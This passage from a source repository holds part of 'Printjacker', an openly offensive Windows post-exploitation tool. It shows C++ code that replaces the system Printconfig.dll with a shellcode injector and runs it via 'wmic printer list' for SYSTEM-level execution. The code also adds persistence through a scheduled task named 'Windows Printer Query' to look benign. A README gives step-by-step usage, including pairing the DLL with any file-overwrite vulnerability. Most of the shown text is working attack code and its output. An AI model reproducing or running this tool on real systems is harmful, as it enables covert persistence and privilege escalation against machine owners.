Printconfig.dll is restored from Printconfig_orig.dll"); 111 | 112 | if (!DeleteFile(origFile)) { 113 | printf("\n[-] Failed to delete Printconfig_orig.dll: %d", GetLastError()); 114 | return -1; 115 | } 116 | return true; 117 | } 118 | 119 | int wmain(int argc, wchar_t* argv[]) { 120 | printf("# Printjacker - Hijack Printconfig.dll"); 121 | printf("\n# Author: millers-crossing"); 122 | printf("\n-------------------------------------------------"); 123 | 124 | BOOL isFind=false, isHijack=false, 125 | isExecute=false, isSchedule=false, isRestore=false; 126 | 127 | if (argc < 2) { 128 | printf("\n[+] Usage: printjacker.exe [-find] | [-hijack] | [-execute] | [-schedule] | [-restore]"); 129 | return 0; 130 | } 131 | 132 | if (!wcscmp(argv[1], L"-find")) isFind = true; 133 | else if (!wcscmp(argv[1], L"-hijack")) isHijack = true; 134 | else if (!wcscmp(argv[1], L"-execute")) isExecute = true; 135 | else if (!wcscmp(argv[1], L"-schedule")) isSchedule = true; 136 | else if (!wcscmp(argv[1], L"-restore")) isRestore = true; 137 | else { 138 | printf("\n[-] Failed to parse parameter. Exiting..."); 139 | return -1; 140 | } 141 | 142 | wchar_t PrinterConfigDir[MAX_PATH] = {}; 143 | if (!GetDriverDirectory(PrinterConfigDir)) { 144 | printf("\n[-] PrinterConfig.dll cannot be found."); 145 | return -1; 146 | } 147 | printf("\n[*] PrintConfig.dll is found: %ws", PrinterConfigDir); 148 | 149 | if (isFind) { 150 | return 0; 151 | } 152 | else if (isRestore) { 153 | if (!RestorePrinterConfig(PrinterConfigDir)) { 154 | printf("\n[-] Check if you have enough privileges or Printconfig.dll is used by other processes"); 155 | } 156 | printf("\n"); 157 | return 0; 158 | } 159 | 160 | if (ChangePermissions(PrinterConfigDir) != 0) { 161 | printf("\n[-] Failed to change permissions for the directory: %d", GetLastError()); 162 | printf("\n[-] If you have enough privileges, another process may be using Printconfig.dll"); 163 | return -1; 164 | } 165 | 166 | //Cautionary Sleep 167 | Sleep(3000); 168 | if (ModifyPrinterConfig(PrinterConfigDir)!=0) { 169 | return -1; 170 | } 171 | 172 | if (isHijack) { 173 | printf("\n[+] Hijack mode succeeded!"); 174 | printf("\n[*] Exiting without executing payload"); 175 | printf("\n[*] To execute use \"wmic printer list\""); 176 | return 0; 177 | } 178 | 179 | if (isExecute) { 180 | printf("\n[*] Working in Execute mode"); 181 | printf("\n[*] Trying to execute payload by using \"wmic printer list\"...\n"); 182 | //Run wmic printer list 183 | STARTUPINFO si = { sizeof(si) }; 184 | PROCESS_INFORMATION pi; 185 | WCHAR cmdline[MAX_PATH] = L"C:\\windows\\system32\\wbem\\wmic.exe printer list"; 186 | CreateProcess(0, cmdline, nullptr, nullptr, 0, 0, nullptr, nullptr, &si, &pi); 187 | Sleep(3000); 188 | return 0; 189 | } 190 | else if (isSchedule) { 191 | printf("\n[*] Working in Schedule mode"); 192 | printf("\n[*] Trying to add \"wmic printer list\" to scheduled tasks...\n"); 193 | STARTUPINFO si = { sizeof(si) }; 194 | PROCESS_INFORMATION pi; 195 | //Change schedule time accordingly 196 | WCHAR cmdline[MAX_PATH] = 197 | L"schtasks.exe /create /sc HOURLY /tn \"Windows Printer Query\" /tr \"%windir%\\system32\\wbem\\wmic.exe printer list\" /mo 5 /F"; 198 | CreateProcess(0, cmdline, nullptr, nullptr, 0, 0, nullptr, nullptr, &si, &pi); 199 | WaitForSingleObject(pi.hProcess, INFINITE); 200 | return 0; 201 | } 202 | 203 | return 0; 204 | } -------------------------------------------------------------------------------- /Printjacker/Printjacker/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by Printjacker.rc 4 | // 5 | #define IDR_FILE1 106 6 | 7 | // Next default values for new objects 8 | // 9 | #ifdef APSTUDIO_INVOKED 10 | #ifndef APSTUDIO_READONLY_SYMBOLS 11 | #define _APS_NEXT_RESOURCE_VALUE 107 12 | #define _APS_NEXT_COMMAND_VALUE 40001 13 | #define _APS_NEXT_CONTROL_VALUE 1001 14 | #define _APS_NEXT_SYMED_VALUE 101 15 | #endif 16 | #endif 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # printjacker 2 | 3 | Printjacker is a post-exploitation tool that creates a persistence mechanism by overwriting *Printconfig.dll* with a shellcode injector. The persistence mechanism can be invoked via executing `wmic printer list` command with any user. The shellcode will be executed with **SYSTEM** privileges. Details: [POST.md](POST.md) 4 | 5 | ![flow](images/flow.png) 6 | 7 | ## Usage 8 | - Change the shellcode in **dllmain.cpp** 9 | - Compile Printjacker with VS2019 (tested). New *printconfig.dll* will be compiled and added to resources of *Printjacker.exe*. 10 | - Execute with Admin privileges. 11 | 12 | ``` 13 | .\printjacker.exe [-find] | [-hijack] | [-execute] | [-schedule] | [-restore] 14 | -find : Find the directory of Printconfig.dll 15 | -hijack : Overwrite Printconfig.dll with shellcode injector and copy original to Printconfig_orig.dll 16 | -execute : Hijack Printconfig.dll and execute "wmic printer list" as the current user 17 | -schedule : Hijack printconfig.dll and schedule "wmic printer list" 18 | -restore : Restore Printconfig.dll to original 19 | ``` 20 | 21 | - Hijack *Printconfig.dll* and execute the payload 22 | ``` 23 | .\printjacker.exe -execute 24 | # Printjacker - Hijack Printconfig.dll 25 | # Author: millers-crossing 26 | ------------------------------------------------- 27 | [*] PrintConfig.dll is found: c:\windows\system32\DriverStore\FileRepository\prnms003.inf_amd64_9d6cd193d2dd61fd\Amd64 28 | ... 29 | ... 30 | [+] Resource is found. Trying to modify the target file... 31 | [+] Original Dll is copied to Princonfig_orig.dll 32 | [+] Printconfig.dll is successfully modified! 33 | [*] Working in Execute mode 34 | [*] Trying to execute payload by using "wmic printer list"... 35 | ... 36 | ``` 37 | 38 | - Restore the original *printconfig.dll* 39 | ``` 40 | .\printjacker.exe -restore 41 | # Printjacker - Hijack Printconfig.dll 42 | # Author: millers-crossing 43 | ------------------------------------------------- 44 | [*] PrintConfig.dll is found: c:\windows\system32\DriverStore\FileRepository\prnms003.inf_amd64_9d6cd193d2dd61fd\Amd64 45 | [+] Printconfig.dll is restored from Printconfig_orig.dll 46 | ``` 47 | 48 | - If you have only file overwrite privilege without command execution, you can still use compiled *printconfig.dll* to gain SYSTEM privileges. 49 | ``` 50 | .\printjacker.exe -find 51 | # Printjacker - Hijack Printconfig.dll 52 | # Author: millers-crossing 53 | ------------------------------------------------- 54 | [*] PrintConfig.dll is found: c:\windows\system32\DriverStore\FileRepository\prnms003.inf_amd64_9d6cd193d2dd61fd\Amd64 55 | ``` 56 | - Overwrite the original printconfig.dll with your favourite file overwrite vulnerability, then execute `wmic printer list` with any user. 57 | 58 | ## References 59 | Thanks to great works by @SandboxBear, @tiraniddo, @aionescu, @yarden_shafir, @decoder_it, @spotheplanet ... 60 | 61 | - https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ 62 | - https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html 63 | - https://github.com/ionescu007/faxhell/blob/master/ualapi/dllmain.c 64 | - https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection 65 | 66 | ## TODO 67 | - Generate pipename from UUID 68 | - Compatibility for x86 69 | -------------------------------------------------------------------------------- /images/flow.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSection/printjacker/cf212531288ea0a0eb798a84a17dbbb546233618/images/flow.png -------------------------------------------------------------------------------- /images/trace.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/RedSection/printjacker/cf212531288ea0a0eb798a84a17dbbb546233618/images/trace.png --------------------------------------------------------------------------------